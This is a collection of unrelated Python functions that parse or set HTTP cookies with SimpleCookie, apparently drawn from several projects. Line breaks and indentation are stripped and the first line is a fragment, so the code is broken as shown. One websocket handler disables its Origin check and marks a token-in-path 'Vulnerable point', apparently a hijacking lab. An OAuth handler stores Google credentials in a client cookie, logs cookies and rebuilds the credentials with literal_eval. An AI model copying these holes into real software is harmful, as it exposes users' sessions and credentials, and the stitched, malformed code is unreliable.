meta={"handle_httpstatus_list": [302]})
def do_config(self, args): if len(str(args)) == 0: tb = pt.PrettyTable() tb.field_names = ['配置名称', '属性值'] tb.add_row(['threads', self.threads]) tb.add_row(['cookies', self.cookies]) cprint(tb, 'yellow') else: keyname = args.split()[0] valuename = args.split()[1] if keyname in r'cookies': try: with open(valuename, 'r') as fp: mycookie = SimpleCookie() mycookie.load(fp.read()) self.cookies = { key: morsel.value for key, morsel in mycookie.items() } except: cprint('[!]请载入cookies文件!!!', 'red') if keyname in r'threads': self.threads = int(valuename)
def echo_socket(ws): # Origin security check if ws.origin != 'http://localhost:5000': # return False pass # Cookie security check try: rawdata = ws.handler.headers.get('Cookie') cookie = SimpleCookie() cookie.load(rawdata) if cookie: pass except Exception as ex: pass while not ws.closed: message = ws.receive() # Vulnerable point if 'token=1' in ws.handler.path: ws.send('Hi Alice. This is a private message for you!') else: ws.send('I don\'t know you')
def oauth2callback(): req = app.current_request cookieData = req.headers.get('Cookie') cookie = SimpleCookie() cookie.load(cookieData) state = cookie.get('state').value print('Cookie') print(req.headers.get('Cookie')) flow = google_auth_oauthlib.flow.Flow.from_client_secrets_file( CLIENT_SECRETS_FILE, scopes=SCOPES, state=state) flow.redirect_uri = REDIRECT_URI authorization_response = 'https://' + req.headers.get( 'host') + req.context.get('path') + '?' + urlencode(req.query_params) flow.fetch_token(authorization_response=authorization_response) credentials = flow.credentials credentials_dict = credentials_to_dict(credentials) return Response(body='', headers={ 'Location': '/client', 'Set-Cookie': "credentials=\"%s\"" % (credentials_dict) }, status_code=302)
def __call__(self, environ, start_response): cookie = SimpleCookie() if 'HTTP_COOKIE' in environ: cookie.load(environ['HTTP_COOKIE']) id = None if self.cookie_key in cookie: id = cookie[self.cookie_key].value session = SimpleSession(self.manager, id=id) environ[self.env_key] = session def middleware_start_response(status, response_headers, exc_info=None): session.save() cookie = SimpleCookie() cookie[self.cookie_key] = session.id cookie[self.cookie_key]['path'] = '/' cookie_string = cookie[self.cookie_key].OutputString() response_headers.append(('Set-Cookie', cookie_string)) return start_response(status, response_headers, exc_info) return self.app(environ, middleware_start_response)
def client(): req = app.current_request cookieData = req.headers.get('Cookie') cookie = SimpleCookie() cookie.load(cookieData) print('cookieData') print(cookieData) cookie_credentials = literal_eval(cookie.get('credentials').value) if (cookie_credentials is None): return Response(body='', headers={'Location': '/authorize'}, status_code=302) credentials = google.oauth2.credentials.Credentials(**cookie_credentials) service = build('calendar', 'v3', credentials=credentials) now = datetime.datetime.utcnow().isoformat() + 'Z' events_result = service.events().list(calendarId='primary', timeMin=now, maxResults=10, singleEvents=True, orderBy='startTime').execute() events = events_result.get('items', []) return {'files': events}
def parse_cookie(cookie): """ >>> parse_cookie('') {} >>> parse_cookie('foo=bar;') {'foo': 'bar'} >>> parse_cookie('foo=bar;foo=baz') {'foo': 'baz'} >>> parse_cookie('f1=v1;f2=v2') == {'f1': 'v1', 'f2': 'v2'} True """ if not cookie: return {} if not isinstance(cookie, BaseCookie): try: c = SimpleCookie() c.load(cookie) except CookieError: # Invalid cookie return {} else: c = cookie return {k: c.get(k).value for k in c.keys()}
def query(self, link, cookie=None): header = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 'Accept-Language': "en-US,en;q=0.5" } if cookie: rawdata = "Cookie: " + cookie cookie = SimpleCookie() cookie.load(rawdata) try: req = requests.get(link, cookies=cookie, allow_redirects=True, timeout=2, headers=header) self.raw = req.text self.code = req.status_code except: return False
def update_session_from_browser(self): """ Updtate our session from the browser cookies. We want to limit access to the actual session cookies, as their name in the browser may differ from how the value is named on our session representation, which is loosely based on that of RV itself. """ self._logger.debug("Updating session cookies from browser") cookie_jar = self._view.page().networkAccessManager().cookieJar() # Here, the cookie jar is a dictionary of key/values cookies = SimpleCookie() for cookie in cookie_jar.allCookies(): cookies.load(str(cookie.toRawForm())) encoded_cookies = _encode_cookies(cookies) content = { "session_expiration": get_saml_claims_expiration(encoded_cookies), "session_id": get_session_id(encoded_cookies), "user_id": get_user_name(encoded_cookies), "csrf_key": get_csrf_key(encoded_cookies), "csrf_value": get_csrf_token(encoded_cookies), } # To minimize handling, we also keep a snapshot of the browser cookies. # We do so for all of them, as some are used by the IdP and we do not # want to manage those. Their names may change from IdP version and # providers. We figure it is simpler to keep everything. # Here, we have a list of cookies in raw text form content["cookies"] = encoded_cookies self._session.merge_settings(content)
def update_cookies(self, cookies: Optional[LooseCookies]) -> None: """Update request cookies header.""" if not cookies: return c = SimpleCookie() # type: SimpleCookie[str] if hdrs.COOKIE in self.headers: c.load(self.headers.get(hdrs.COOKIE, "")) del self.headers[hdrs.COOKIE] if isinstance(cookies, Mapping): iter_cookies = cookies.items() else: iter_cookies = cookies # type: ignore for name, value in iter_cookies: if isinstance(value, Morsel): # Preserve coded_value mrsl_val = value.get(value.key, Morsel()) mrsl_val.set(value.key, value.value, value.coded_value) c[name] = mrsl_val else: c[name] = value # type: ignore self.headers[hdrs.COOKIE] = c.output(header="", sep=";").strip()